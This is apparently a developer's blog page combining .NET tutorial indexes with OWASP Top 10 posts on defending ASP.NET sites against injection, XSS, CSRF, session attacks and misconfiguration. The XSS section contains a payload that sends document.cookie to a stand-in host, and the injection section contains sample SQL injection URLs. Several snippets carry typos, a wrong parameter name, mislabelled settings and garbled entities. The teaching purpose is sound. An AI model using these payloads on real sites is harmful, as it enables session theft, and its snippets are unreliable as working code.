Python & Django!

So for the last few months I have been tinkling with Python and Django.

All the source code for all the articles and tutorials can be found here here.

Python

Django

.NET HowTos

A series of How To’s in .NET subjects:

All source code can be found on GitHub here.

The posts so far:

  1. Generics in C#
  2. Delegates to Lambdas
  3. NInject Basics & Advanced Features
  4. NUnit Features, Assertions & Fluent Assertions
  5. XUnit
  6. Linq
  7. Rhino Mocks
  8. Operators
  9. Threads, Multi-threading, Synchronization
  10. ADO.NET Connections & Data Providers, Connected Layer, Disconnected Layer
  11. Introducing C# 5 & .NET 4.5
  12. The Console & The Compiler

Dot Net on Linux

As described here I have started a series of posts about developing .Net on Linux.

All source code can be found on GitHub here.

The posts so far:

Day 0: Setting up the .Net Development Environment
Day 1: Hello World in ASP.NET MVC 2
Day 2: Unit testing with NUnit
Day 3: Dependency Injection with Ninject
Day 4: Mocking with Rhino Mocks
Day 5: Installing and Securing MySQL
Day 6: Installing and a quick tour of Workbench
Day 7: Installing and a quick tour of MonoDevelop Database Plugin
Day 8.1:  Connecting & Consuming MySQL with ADO.NET
Day 8.2: Connecting & Consuming SQLite with ADO.NET
Day 8.3: Agnostic database connection with ADO.NET
Day 9: Generics
Day 10: Linq
Day 11: NInject
Day 12: NUnit
Day 13: Delegates and Lambdas
Day 14: Rhino Mocks

 

Turn off GZIP

Chrome was trying to decompress .NET issued JS valdiation files, which were already cached causing issues, when refreshing the browser.

This was causing the Page_Validators ( .NET JS Validators ) being unset and all client side javascript validation was not running.

You can prevent chrome/firefox dev tools from caching content but I got IIS to stop compressing the content within th web.config. Obviously don’t leave this on in production and only add this into the web.config.debug.

 <system.webServer>

 <urlCompression doStaticCompression="false" doDynamicCompression="false"/>

</system.webServer>

OWASP Top 10 #6 – Security Misconfiguration

What Is It?

Security misconfiguration is anything which is considered insecure due to the settings or configuration upon a server.

This can be anything from debug settings being turned on or even out of date third party frameworks being used.

Custom Errors

Leaking of information about the implemented technology stack could be an invitation for hackers to probe a system further. With regards to an SQL injection attack, error messages can be used to view details about the database schema such as table names and then further be used to display the contents of a database table.

Error messages displayed to a user should contain information useful to the user only and nothing else. They should report to the user the minimal amount information for them to react to the error.

Any information such as details of the error or the trace stack should be hidden from the user.

We can disable the standard .NET ‘yellow’ error message which contains the trace stack and the details of the error on a site basis. This is done within the customErrors node of the web.config

&lt;customErrors mode=&quot;On&quot; defaultRedirect=&quot;Error.aspx&quot; /&gt;

The mode attribute can contain the following values:

  • On
    • Errors are reported in full. This is the default value.
  • Off
    • Errors are not reported. The user is redirected to the page defined within the defaultRedirect attribute
  • RemoteOnly
    • Users viewing the site on their local host are reported the errors in full
    • Users not viewing the site on their local host are redirected to the page defined within the defaultRedirect attribute.

If no defaultRedirect is provided the user is presented with a http response code of 500. This in itself is bad as it highlights our site as a potential site worthy of more probing by a hacker. The status code is easily read by batch scripts probing sites.

Providing a defaultRedirect presents the user with the page defined by the attribute along with a http status code of 302 (temporary redirect). This unfortunately creates a query string parameter of aspxerrorpath set to the relative URL of the page which caused the error. This can also be easily used by batch scripts to determine if a page is an error page.

We can redirect to the error page without the indicating that there was an error by changing the RedirectMode from ResponseRedirect (default) to ResponseRewrite.

&lt;customErrors mode=&quot;On&quot; defaultRedirect=&quot;Error.aspx&quot; RedirectMode=&quot;ResponseRewrite&quot; /&gt;

With this set, the contents of the error page is simply set to the response of the request without a redirect. The http status code is set to 200 which is the OK code. The hacker would need to read the contents of the page to try and determine if the page is an error page. This in itself is harder and slower. Anything we can do to slow down the hacker reduces the amount of hacking they can do on our site.

Disabling Trace

Trace information allows collecting, viewing and analysis of debug information that is collected and cached by ASP.NET. The information can be viewed at the bottom of individual pages or within the trace viewer which is accessed by calling the Trace.axd page from the route directory of the web site.

Like any debug information it contains details of implemented technology and potentially sensitive information that might be logged by accident. There are many instances of security issues where personal information such as credit card details or user accounts used in database connection strings which are logged as part of the debugging.

Tracing should be disabled within the web.config for all production environments.

&lt;trace enabled=&quot;false&quot; /&gt;

Keep Frameworks/Third Party Code Up To Date

All third party frameworks should be kept up to date to ensure that you are protected from any security issues which have been fixed within them.

With the use of NuGet this can be achieved very easily.

Encrypting Sensitive Parts Of The Web.Config

Sensitive data such as user accounts, passwords and private keys that are contained within the web.config should be encrypted.

If they are accidentally exposed to the user during an error while accessing a page or logged into an audit table and viewed by someone who should not see them, their details will not be readable.

It is also a good idea to reduce the amount of people who have access to sensitive information.

You can encrypt a node of a web.config at the visual studio command prompt by the following:

aspnet_regiis -site &quot;Site Name In IIS&quot; -app &quot;/&quot; -pe &quot;connectionStrings&quot;

This will update the web.config replacing the sensitive information with an encrypted version.

The file can be decrypted with the following command:

aspnet_regiis -site &quot;Site Name In IIS&quot; -app &quot;/&quot; -pd &quot;connectionStrings&quot;

This process uses a key which is created based upon the servers MAC address and as such is unique to the server and therefore can only be decrypted upon the web server.

Using Config Transforms To Ensure Secure Configurations

It can be very easy to leave debug settings such as non custom errors and tracing within a web.config.

Transforms for debug and release can be used to ensure that only settings for the required release are used when that release target is used.

Use Web.Release.Config to transform the Web.Config for release:

  • Remove debug attributes
  • Add custom errors
  • Remove trace

These transforms are only run during a site publish.

Retail Mode

Retail mode can be used as a back stop to ensure that no web.config setting which is considered unsafe in a production environment is actually enabled. For example in retail mode, turning off custom errors or turning on tracing will have no effect.

This setting can be set in the web.config though it is recommended to set it within the machine.config of the web server.

&lt;deployment retail=&quot;true&quot; /&gt;

OWASP Top 10 #5 – Cross Site Request Forgery (CSRF)

What Is It?

Before we talk about CSRF it is important to understand that all cookies created by a domain are sent back to that domain during page requests regardless which domain the page originated from. This includes cookies which contain authentication session cookies.

Hackers can simply change the action attribute of a form to be that of the domain/URL they are trying to breach. An unsuspecting site would only ensure that the authentication session token is valid. It would therefore be possible to use the users open session to perform malicious actions such as saving or reading data from a database.

How Can I Protect My Self From It?

Protection from CSRF attacks has a simple solution. Send another cryptically secure token to the user along with the authentication session token. This token is sent both on the page being generated as well as a cookie.

Upon receiving a post back from a page, the server simply reads the CSRF token from the page and the cookie and ensures that they are identical.

As only a page generated from the site would contain the token, any fake page posting back to the server will be missing the correct CSRF token.

MVC

The MVC helper method AntiForgeyToken generates a CSRF token and persists it in a cookie and a hidden input element on the page.

using (Html.BeginForm())
{
  @Html.AntiForgeyToken()
}

Validation against a CSRF attack is made by decorating the controller’s action method with the ValidateAntiForgeryToken attribute.

[HttpPost]
[Authorise]
[ValidateAntiForgeryToken]
public ActionResult Index(McModel bigMac)
{
}

If a CSRF attack is caught a System.Mvc.HttpAntiForgeryException is thrown and the user is presented with a 500 status code.

ASP.NET Web Forms

A page written in ASP.NET web forms would traditionally need to manually perform the CSRF token, its persistence and checks to ensure they are identical when the page is posted back.

However we can now make use of the AntiForgery class.

https://msdn.microsoft.com/en-us/library/system.web.helpers.antiforgery%28v=vs.111%29.aspx

Within the aspx page a call to the GrtHtml method would generate the CSRF token which is then persisted within a cookie and an input element upon the page.

&lt;%= System.Web.Helpers.AntiForgery.GetHtml() %&gt;

Validation against a CSRF attack would then be performed during a page post back with the Validation method.

protected void Page_Load(object sender, EventArgs e)
{
    if (IsPostBack) {
        AntiForgery.Validate();
    }
}

Securing Cookies

Http Only Cookies

Using AntiForgery.GetHtml or @Html.AntiForgeyToken should create cookies which are secured for access by the server only and not via a client side script.

However where a more manual approach has been made to CSRF protection it is important to ensure that the CSRF token cannot be read from by a client side script. If this is not the case then a malicious page could read the token and simply add it to its form data before posting back to the server; circumventing our protection.

Cookies can be set as HttpOnly via a property during their creation:

var cookie = new HttpCookie(&quot;MyCookies&quot;, DateTime.Now.ToString());
cookie.HttpOnly = true;

Cookies can be set as HttpOnly globally for a website via the web.config:

&lt;httpCookies domain=&quot;String&quot; httpOnlyCookies=&quot;true&quot; /&gt;

Note is it probably wise to set httpOnlyCookies to true regardless of your CSRF approach. Any information stored within a cookie which could be readable on the client side is probably a bad idea.

SSL Only Cookies

Where cookies contain sensitive information such as CSRF or authentication session token, it would be wise to enforce their transportation via SSL or HTTPS, as such preventing people from spying on the network traffic and therefore stealing them.

This can be done globally for a site within the web.config:

&lt;httpCookies domain=&quot;String&quot; httpOnlyCookies=&quot;true&quot; requireSSL=&quot;true&quot; /&gt;

However this approach might not always be possible. We can conditionally determine when to enforce SSL communication for cookies by checking the forms authentication settings and the connection for their status of secure connections. The individual cookie can then then be secured for SSL communication only via the Secure property.

var cookie = new HttpCookie(&quot;MyCookies&quot;, DateTime.Now.ToString());
cookie.HttpOnly = true;

if( FormsAuthentication.RequireSSL &amp;&amp; Request.IsSecureConnection) {
    cookies.Secure = true;
}

OWASP Top 10 #4 – Insecure Direct Object References

Direct Object Reference

A direct object reference is a key or id which is used identify a piece or set of data. The data would typically be a record within a a table of a database.

They can be:

  • Patterns such as incrementing integers/ids
  • Natural keys such as a username or email address.
  • Discoverable data such as a national insurance number or a social security number.

What Is it?

An insecure direct object reference is when a user accesses a direct object reference when they are not permitted to.

This can be from an unsecured page and an unauthenticated user. It can also come from a secured page and authenticated user, where there is simply insufficient checks that they can view the data they have requested.

Quite often the user guesses or enumerates a direct object reference either manually or by an automated script.

If the data should only be visible to a subset of people then any requests to that data should be validated that they are permitted to see that data. Simply relying on not displaying links to the user is not secure enough.

How Can I Protect Against It?

Validate Access

The first point to address is to validate that the user has permission to access the data.

For example; is the person permitted to see the financial records of the bank account in question?

Quite often the validation checks are placed around populating the UI to navigate to the data but no checks are placed around querying the data.

Indirect Reference Maps

A normal approach to view database records on a web page is to expose the table fields and their direct object references on the URL

https://www.MySite/Foo.aspx?id=1

Here an attacker can simply increment the id to try and view other peoples Foo which are simple incrementing ids or identity indexes generated automatically by the database.

An indirect reference provides an abstraction between what is publicly observable in the URL and what is used to uniquely identify a record within a database.

A dictionary is used to store a map between the id and a randomly generated cryptically secure identifier. We then pass these secure identifier to the user as part of URLs which they can request.

https://www.MySite/Foo.aspx?id=ASWERDFMJSDGJSERSASKAWEOSDSDF

These keys should also be mapped to the user’s session to protect against the ids being leaked:

The following code shows how to generate a cryptically safe unique id using the RNGCryptoServiceProvider class.

using System.Security.Cryptography;

using( var rng = new RNGCryptoServiceProvider() )
{
    map[id] = HttpServerUtility.UrlTokenEncode(rng.GetBytes(new byte[32]));
}

// Store the map within the users session
HttpContext.Current.Session[&quot;Map&quot;] = map;

In the example above it would be best to only create one instance of the RNGCryptoServiceProvider class regardless of how many direct object references are being made. Consider creating a class which implements IDisposable which calls Dispose upon the instance of RNGCryptoServiceProvider within it’s Dispose method.

Obfuscation via non-discoverable surrogate keys

A surrogate key is a set of fields which when used together can uniquely identify a record. These are harder to guess than a single column which has a distinctive pattern such as an identify index which increments by one each time.

Surrogate keys would require more space to index and are also slower, it is a trade off between performance and security.

A random unique identifier such as a GUID is harder to guess but does not perform as well as an integer when used to search upon. Also for tables such as logs and audits which are used to generate a high number records, the indexes will become fragmented and as such will have more overhead for de-fragmenting them regularly.

OWASP Top 10 #5 – Cross Site Request Forgery (CSRF)

What Is It?

Before we talk about CSRF it is important to understand that all cookies created by a domain are sent back to that domain during page requests regardless which domain the page originated from. This includes cookies which contain authentication session cookies.

Hackers can simply change the action attribute of a form to be that of the domain/URL they are trying to breach. An unsuspecting site would only ensure that the authentication session token is valid. It would therefore be possible to use the users open session to perform malicious actions such as saving or reading data from a database.

How Can I Protect My Self From It?

Protection from CSRF attacks has a simple solution. Send another cryptically secure token to the user along with the authentication session token. This token is sent both on the page being generated as well as a cookie.

Upon receiving a post back from a page, the server simply reads the CSRF token from the page and the cookie and ensures that they are identical.

As only a page generated from the site would contain the token, any fake page posting back to the server will be missing the correct CSRF token.

MVC

The MVC helper method AntiForgeyToken generates a CSRF token and persists it in a cookie and a hidden input element on the page.

using (Html.BeginForm())
{
  @Html.AntiForgeyToken()
}

Validation against a CSRF attack is made by decorating the controller’s action method with the ValidateAntiForgeryToken attribute.

[HttpPost]
[Authorise]
[ValidateAntiForgeryToken]
public ActionResult Index(McModel bigMac)
{
}

If a CSRF attack is caught a System.Mvc.HttpAntiForgeryException is thrown and the user is presented with a 500 status code.

ASP.NET Web Forms

A page written in ASP.NET web forms would traditionally need to manually perform the CSRF token, its persistence and checks to ensure they are identical when the page is posted back.

However we can now make use of the AntiForgery class.

https://msdn.microsoft.com/en-us/library/system.web.helpers.antiforgery%28v=vs.111%29.aspx

Within the aspx page a call to the GrtHtml method would generate the CSRF token which is then persisted within a cookie and an input element upon the page.

<%=System.Web.Helpers.AntiForgery.GetHtml() %>

Validation against a CSRF attack would then be performed during a page post back with the Validation method.

protected void Page_Load(object sender, EventArgs e)
{
    if (IsPostBack) {
        AntiForgery.Validate();
    }
}

Securing Cookies

Http Only Cookies

Using AntiForgery.GetHtml or @Html.AntiForgeyToken should create cookies which are secured for access by the server only and not via a client side script.

However where a more manual approach has been made to CSRF protection it is important to ensure that the CSRF token cannot be read from by a client side script. If this is not the case then a malicious page could read the token and simply add it to its form data before posting back to the server; circumventing our protection.

Cookies can be set as HttpOnly via a property during their creation:

var cookie = new HttpCookie("MyCookies", DateTime.Now.ToString());
cookie.HttpOnly = true;

Cookies can be set as HttpOnly globally for a website via the web.config:

httpCookies domain="String" httpOnlyCookies="true"

Note is it probably wise to set httpOnlyCookies to true regardless of your CSRF approach. Any information stored within a cookie which could be readable on the client side is probably a bad idea.

SSL Only Cookies

Where cookies contain sensitive information such as CSRF or authentication session token, it would be wise to enforce their transportation via SSL or HTTPS, as such preventing people from spying on the network traffic and therefore stealing them.

This can be done globally for a site within the web.config:

httpCookies domain="String" httpOnlyCookies="true" requireSSL="true"

However this approach might not always be possible. We can conditionally determine when to enforce SSL communication for cookies by checking the forms authentication settings and the connection for their status of secure connections. The individual cookie can then then be secured for SSL communication only via the Secure property.

var cookie = new HttpCookie("MyCookies", DateTime.Now.ToString());
cookie.HttpOnly = true;

if( FormsAuthentication.RequireSSL && Request.IsSecureConnection) {
    cookies.Secure = true;
}

OWASP Top 10 #3 – Broken Authentication & Session Management

How to secure .NET websites from broken authentication and session management security attacks.

Sessions In A Stateless Protocol

To understand broken authentication attacks such as session hijacking it is important to understand how a user is logged in and kept logged in within the stateless protocol HTTP.

HTTP is a stateless protocol, each request is independent of every other request. Any knowledge of previous requests and their contents is maintained outside of the bounds of the protocol.

ASP.NET maintains session data either on the client side in browser cookies or on the server side in memory or within a database and ties the data to the user via session which is identified by unique identifier.

Web sites which require a user to log in make use of a unique identifier or session token which is created during then authentication process, associated or linked to the users account and then passed between the users web browser and the web server via a cookie.

What Is It?

If the authentication session token is discovered by a potential attacker, it can be used to steal the users session. This can be by either a session fixation or a session hijack.

Session hijacking is when an attacker gets hold of a session identifier and uses this to gain access to a users session and hence impersonates them.

Session fixation is when a user who is logged in to a site overrides their session identifier set in a cookie by passing in another session identifier within the query string; thus pretending to be someone else with potentially elevated user access.

Session ids can be passed between client and server by a query string parameter within a URL as well as cookies and form data.

How Can I Protect Myself From It?

Do Not Persist Session Tokens In The URL

Seeing as URLs are logged, shared and retrievable from a browser’s history; the first line of defence is not to persist session tokens in URLs, you should favour cookies.

Note that a default form post action is GET; I have fixed many security issues which were caused simply by forgetting to set the action to POST.

Persist Session Tokens In Cookies

To get .NET to persist the session token within cookies you can set the cookieless attribute of the sessionState node to UseCookies within the web.config.

&lt;system.web&gt;
  &lt;sessionState cookieless=&quot;UseCookies&quot; /&gt;

Other options of the variable are:

  • UseUri
  • Always use the URL regardless of device support
  • UreCookies (default)
  • Always use cookies regardless of device support
  • UseDeviceProfile
  • ASP.NET determines if cookies are supported in the browser and falls back to URL if not.
  • AutoDetect
  • ASP.NET determines if cookies are enabled in the browser and falls back to the URL if not.

Note there is a difference between enabled and supported.

Note you should perhaps question whether users who are using browsers with no cookie support or with cookies disabled should be allowed to use your site.

Secure Cookies

All cookies should be set to HttpOnly; this prevents the browser from reading the contents and as such reduces the chance of their contents being read by malicious code.

Cookies which contain session data should be configured to be served over SSL connections only.

Use ASP.NET Membership Provider For Authentication

Whenever security is concerned, it is important to use tried and tested frameworks in favour of writing your own.

The .NET membership provider is built into ASP and should be favoured.

It contains the following functionality:

  • Automatic schema creation upon first usage
  • Default website projects which are set up to allow
  • Creating user accounts
  • User login/log out
  • Session persistence between page requests
  • Automatic page/URL protection from non logged in users or users not within a user group
  • User groups for a more granular permissions

Automatically Logout Expired Sessions

A session token should only be considered valid for the minimum viable amount of time possible. If a session token is leaked the smaller the time window it is exploitable reduces the chance of the session being hijacked.

You can set the forms login session length in minutes within the web.config:

&amp;lt forms loginUrl=&quot;~/Account/Login&quot; timeout=&quot;30&quot; /&amp;gt

By default the timeout is sliding, it expires after the configured amount of time has passed after the last request has been made.

It is possible to change the timeout to be fixed, expiring after the configured amount of time has passed after the user has logged in.

&amp;lt forms slidingExpiration=&quot;false&quot; /&amp;gt

Other Checks

OWASP Top 10 # 2 – Cross Site Scripting (XSS)

Cross Site Scripting (XSS)

What is it?

Cross-site Scripting (XSS) is a variation of a code injection attack where an attacker injects client-side script onto a vulnerable website which is later unintentionally executed by a user.

The client side script could be VBScript, ActiveX, Flash or JavaScript.

The attack makes use of unvalidated or unencoded user input which is outputted by the website and then executed by the user’s web browser.

How does it happen?

In its simplest form a script is taken from a query string parameter;

www.foo.com/foo.aspx?q=foo location.href = 'http://BadSite/DoSomethingBad.html?cookie='%2Bdocument.cookie

Here our query string parameter contains a malicious payload:

 location.href = 'http://foo/dosomethingbad.html?cookie='%2Bdocument.cookie

Rendering the requested parameter value as is within outputted html within a client browser, i.e. without any encoding, will cause the script to be executed.

Here we show how an injected script could pass the value of a cookie to our hacker’s site:

&lt;span&gt;
    You searched for  location.href = 'http://foo/dosomethingbad.html?cookie='%2Bdocument.cookie
&lt;/span&gt;

This cookie value could contain an authorisation token or other sensitive data which could be used to exploit the user further.

Sources of an attack

The client side script or malicious payload can come from many sources:

  • In the URL via a query string or route parameter
  • Http form posted
  • In cookies
  • Http request headers
  • Web services calls
  • Persisted in databases
  • Files such as XML, XSD, CSV

In fact anything which does not come directly from our source code should be treated as potentially malicious. That includes data and services from within the bounds of our company as well as data entered directly from our users, even if they are our colleagues operating on back office software.

How can I protect myself from this?

Protection of an attack should be multi-layered to maximise the protection. Any breached layer is simply one of many layers providing protection.

Output encoding

The primary method of mitigating from XSS attacks is to contextually escape untrusted and potentially unsafe data. This involves replacing certain string characters with their equivalent escaped and safe characters.

For example with a html encoding scheme the character is replaced with >

The string

&lt;b&gt;Hello&lt;/b&gt;

would be replaced with

&amp;ltbi&gt;Hello&lt;/b&gt;

The string would then be displayed as

&lt;b&gt;Hello&lt;/b&gt;

without the bold mark up being executed and the word hello being rendered in bold. The potentially malicious payload is made harmless.

There are several encoding schemes and the right one should be chosen depending upon where the untrusted user input is to be rendered into. These include HTML, JavaScript, CSS, URL and XML.

It is important that you use a well-proven library to implement output encoding and do not try to write your own.

Encoding HTML

As of .NEt 4.5 the anti XSS tool is built into the .net framework.

using System.Web.Security.AntiXss;

var encodedString = AntiXssEncoder.HtmlEncode(inputString, true);

The second parameter determines whether to use named entities. For example this changes the copyright symbol to ©.

In previous versions of .NET you need to download the anti XSS library which can be found within NuGet.

Html Encode

The .NET framework also includes HttpUtility.HtmlEncode and Server.HtmlEncode.

Please do not use these as they simply encode the characters , “, and &. This approach is not sufficient to prevent against XSS attacks. For example JavaScript such as “alert(‘smerfs’);” injected into an attribute of an input element would be executed.

JavaScript

Even in .NET 4.5, the anti xss capabilities does not extend to escaping JavaScript, you need to download the AntiXSS external library.

var q = &lt;%=Microsoft.Security.Application.encoder.JavaScriptEncode(Request.QueryString[&quot;foo&quot;])%&gt;

Self Escaping Web forms controls in System.Web.UI

When working with ASP.NET WebForms, some controls and their properties encode html, the following page highlights which do and which do not:

https://blogs.msdn.microsoft.com/sfaust/2008/09/02/which-asp-net-controls-automatically-encodes/

Output encoding in MVC

The razor view engine automatically html encodes output by default.

// the following automatically escapes
@Html.Label(&quot;&lt;b&gt;Hello&lt;/b&gt;&quot;)

When in the very rare circumstances you do not want encoding to occur you can explicitly override this functionality.

// Request non escaping with the raw command.
@Html.Raw(&quot;&lt;b&gt;Hello&lt;/b&gt;&quot;)

White listing allowable values

When collecting information from a user you should validate their input against a list of known safe values. This allows us to catch any invalid bad data very early on in the process.

Validation can be type conversion, regular expressions or even checking their inclusion from a list of known values such as colours or countries.

The following examines an input string is valid:

if(!RegEx,.IsMatch(searchTerm, @&quot;^[\p{L} \.\-]+$&quot;)
{
   throw new ApplicationException(&quot;The search term is not allowed&quot;);
}
  • \p{L} matches any kind of letter from any language
  • \, matches the period character
  • -, matches the hyphen character
    • indicates any number of these characters
  • ^ $ indicates that the input string starts and ends with these characters i.e. contains only these characters.

Request Validation

.NET provides request validation, an inbuilt protection of XSS that looks at all incoming data from within forms, query string parameters, route sections, header values etc. It will catch XSS attacks before it reaches your page.

This is enabled or disabled within the web.config:

 &lt;pages validationRequest=&quot;true&quot;&gt;
 &lt;/pages&gt;

This functionality is available since .NET 2, though by default it appears to be disabled in versions less than 3.5.

ASP.NET will automatically throw a HTTPRequestValidationException when it detects an XSS attack.

The method System.Web.HttpRequest.ValidateString is used to perform the check and raise the exception.

Disabling Request Validation

Disabling Request Validation At The Page Level

We can disable request validation on a page level:

&lt;%@ Page Title = &quot;&quot; ValidateRequest=&quot;false&quot; Language &quot;C#&quot; /&gt;

Disabling Request Validation At The Control Level

We can disable validation for a specific control.

&lt;asp:button Id=&quot;myButton&quot; runat=&quot;server&quot; ValidateRequestMode=&quot;Disabled&quot; /&gt;

This is a ASP.NET 4.5 feature and will need a change to the request validation model from 2.0 to 4.5:

&lt;system.web&gt;
&lt;httpRuntime targetFramework=&quot;4.5&quot; requestValidationMode=&quot;4.5&quot; /&gt;

Disabling Request Validation When Requesting Data

We can disable the validation when getting data sent within the Http request. This is done by calling the Unvalidated method before any call to the Http request data.

var foo = Request.Unvalidated.QueryString[&quot;foo&quot;];

Disable MVC

We can disable the validation request on model binding in MVC,

public class MyController {
    [HttpPost]
    public void DoFoo(MyModel model)
    {
    }
}

public class MyModel {
    [AllowHtml]
    public string Myfield { get; set;}
}

The AllowHtml attribute placed on any model or model’s field will allow that field to be bound to incoming data regardless of it’s contents.

The default action is to not allow unsafe data, whereby an exception will be thrown if it is deemed unsafe.

Other Encoding

The Anti-XSS library contains other methods for encoding data against XSS for URL, XML and other schemes.

More information can be found here:

https://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder_methods%28v=vs.110%29.aspx

OWASP Top 10 # 1 – Injection Attacks

Injection

What is it?

An injection attack is where a program, database or interpreter is tricked into executing code or performing functionality which was not intended to be run.

Though SQL injection is probably the most commonly known type of injection attack, it is a vulnerability that can affect many technologies;

  • SQL
  • XPath
  • LDAP
  • Applications / Operating Systems

SQL injection is when a query or command parameter which should contain a simple variable value actually contains additional syntax which is inadvertently executed by the database.

How does it happen?

For many web applications a URL such as http://www.TheFooSite.com/MyDatabaseTable?Id=1 would translated into a query such as:

Select * From MyDatabaseTable Where Id = 1

The integrity of the value of the id has come from the user and as such can contain potentially any malicious payload.

For example, we can change the sql query to return all data within the table:

http://www.TheFooSite.com/MyDatabaseTable?Id=1 or 1=1

Alternatively we could make the database throw an error which could potentially propagate to the user and show our technology stack, this in turn would invite any potential hacker to start a more in depth probe:

http://www.TheFooSite.com/MyDatabaseTable?Id=x

Additionally we could append on queries which query the schema tables such sysobjects and could start to expose our database structure to the user. This could then be used to append queries which exposes the potentially sensitive data contained within these tables such as credit card numbers and identity numbers:

http://www.TheFooSite.com/MyDatabaseTable?Id=SELECT name FROM master..sysobjects WHERE xtype = 'U';

Untrusted data sources

Any information which comes from the user, third party or external entity should be considered as untrusted and therefore potentially dangerous.

The sources of untrusted data are numerous:

  • From the user
    • In the URL via a query string or route parameter
    • Posted via a form
  • From the browser
    • In cookies
    • In the request headers
  • Web services calls
  • Database
  • Files such as XML, XSD, CSV

In fact anything which does not come directly from our running source code should be treated as potentially malicious. That includes data and services from within the bounds of our company as well as data entered directly from our users, even if they are our colleagues.

How can I protect myself from this?

Security is all about addressing the security concern at multiple levels; this way if one level is breached there are more levels which can catch the breach.

The principle of least privilege

The principle of least privilege is about giving any entity that requires permissions to perform a job, the minimum level of permissions it requires to perform that job.

Why grant access for the user account which is used by a web application to query an entire database, delete data, modify schema or even grant administrator level access? By granting the minimum level of permissions you dramatically reduced the level of damage that a breach can perform.

Don’t give the account db_owner access; this can read, update, delete, truncate and drop any table as well as execute any stored procedures and modify the schema.

A user account should be given access to:

  • Read from only the individual table(s) required
  • Write to only the individual table(s) required
  • Execute only the required stored procedures required

Any account accessed by a web application should probably never be given access to modify any schema, read or write to any schema or system tables and should probably not even be given access to physically delete data from any tables.

If you need to delete data, consider marking records as deleted by a status field and archiving off the records by a system task running in the background.

Where different levels of access is required between types of user account groups or roles, consider having multiple accounts. For example a public account used by public user groups and an admin account which is used by back office staff.

Please note: just because the user role is ‘admin’ it does not mean they should be given anything but the bare minimum permissions within the database.

In line SQL parametrisation

Most issues from SQL injection are from parameters being attached to the query or command via string concatenation. Take the following example which concatenates a parameter taken from the user via a URL query string parameter.

var id = Request.QueryString[&amp;amp;quot;Id&amp;amp;quot;];
var sqlCommand = &amp;amp;quot;SELECT * FROM MyTable WHERE id = &amp;amp;quot; + id;

The data within the parameter is run as is within the database allowing the data within the parameter to break out of its parameter scope and into a query scope.

For example “1 or 1=1” will be searched upon as if it has two parts of the predicate.

By parametrising the query, the data contained within the parameter will stay within the scope of the parameter; here we will try and search for an id which is equal to “1 or 1=1” which at some level will either retrieve no data or throw an error when trying to convert between data types.

The following shows how we can parametrise an line query:

var id = Request.QueryString[&amp;amp;quot;id&amp;amp;quot;];

var sqlCommand = &amp;amp;quot;SELECT * FROM Foo WHERE Id = @id&amp;amp;quot;;

using (var connection = new SqlConnection(connString))
{
using (var command = new SqlCommand(sqlString, connection))
{
command.Parameters.Add(&amp;amp;quot;@d&amp;amp;quot;, SqlDbType.VarChar).Value = id;
command.Connection.Open();
var data = command.ExecuteReader();
}
}

We now have an error thrown within by the database as it cannot convert the string “1 or 1=1” into an integer; the data type of the id field.

Stored procedure Parametrisation

The problem with in line parametrised queries is that you have to remember to do them. By using stored procedures you are enforced to perform this step.

var id = Request.QueryString[&amp;amp;quot;id&amp;amp;quot;];

var sqlString = &amp;amp;quot;GetFoo&amp;amp;quot;;
using (var conn = new SqlConnection(connString))
{
using (var command = new SqlCommand(sqlString, conn))
{
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(&amp;amp;quot;@id&amp;amp;quot;, SqlDbType.VarChar).Value = id;
command.Connection.Open();
var data = command.ExecuteReader();
}
}

This will cause a similar issue that our bad string cannot be converted to an integer.

White listing untrusted data

Where possible, all untrusted data should always be validated against a white list of known safe values.

A white list states a set of rules which defines the data. Any incoming data must be validated against these rules to be considered safe. Failure of the validation should interpret the data as an expected attack.

There are multiple ways of performing white list:

  • Type conversion
    • Integer, date, GUID
  • Regular expression
    • Email address, phone number, name
  • Enumerated list of known good values
    • Titles, countries and colours for example

The following shows how we can use the try parse function to white list our id parameter by trying to convert it to an integer.

int idString;
if(!int.TryParse(idString, out id))
{
throw new Exception(&amp;amp;quot;The id is not a valid integer.&amp;amp;quot;);
}

Note: any errors should be handled, where required audited and then the user should be displayed a human readable message which gives nothing away about our implemented technology stack or in-depth details of the error.

Now that we have the parameter as integer we can add our parameter into the command as an integer:

command.Parameters.Add(&amp;amp;quot;@id&amp;amp;quot;, SqlDbType.Int).Value = id;

Any suspect attacks now should be caught way before the database which is a good place to be.

ORM’s

ORM’s should automatically parametrise any SQL.

The only thing to note is that when using ORM’s it is often required to drop to native SQL for performance reasons. When doing this care should be made to ensure all untrusted data is parametrised using the steps above.

Injection through stored procedures

Care should be taken when using stored procedures that they are not themselves concatenating parameters before calling exec.

declare @query varchar(max)
set @query = 'select * from dbo.MyTable where MyField like ''%'+ @parameter + '%''
EXEC(@query)

The stored procedure sp_executesql allows parametrising sql statements which are held as string.

declare @query varchar(max)
set @query = 'select * from dbo.Foo where MyField like ''%'+ @myFieldParameter + '%''

EXEC sp_executesql @query, N'@search varchar(50)', @myFieldParameter=@parameter

Automated SQL injection tools

There are a number of tools which can automate the hacking process, allowing people with next to no technical experience to perform automated attacks or to test the strength of web applications.

Best SQL Injection Tools

Self Closing MVC Html Helpers

The following is an example of how to write a self closing MVC Html helper similar to BeginForm(). It takes the form of a self closing DIV tag; in fact we will write a Bootstrap panel.

We will be profiting from the IDisposable and the Dispose method which will write our closing div tag

First we create a class which will be passed an Action which will write our end tag; this class implements IDisposable and calls out required action.

using System;

namespace WebApps.HtmlHelpers
{
  internal class DisposableHtmlHelper : IDisposable
  {
    private readonly Action _end;

    public DisposableHtmlHelper(Action end)
    {
      _end = end;
    }

    public void Dispose()
    {
      _end();
    }
  }
}

Now we write our help methods; a BeingPanel method which writes a div tag to the ViewContect response stream. It returns an instance of our newly created DisposableHtmlHelper as defined above. We register with it our method which will write out closing tag.

using System;
using System.Web.Mvc;

namespace WebApps.HtmlHelpers
{
  public static class HtmlHelpers
  {
    public static IDisposable BeginPanel(this HtmlHelper htmlHelper)
    {
      htmlHelper.ViewContext.Writer.Write(@"<div class="">");

      return new DisposableHtmlHelper(htmlHelper.EndPanel);
    }

    public static void EndDiv(this HtmlHelper htmlHelper)
    {
      htmlHelper.ViewContext.Writer.Write("</div>");
    }

    public static void EndPanel(this HtmlHelper htmlHelper)
    {
      htmlHelper.EndDiv();
    }
  }
}

We can now call this within a using statement in our view.

@using (Html.BeginPanel()) {
 // Monkey business would be here
}

Django – AJAX

This post is part of my Django series. You can see an overview of the series along with instruction on how to get all the source code here.

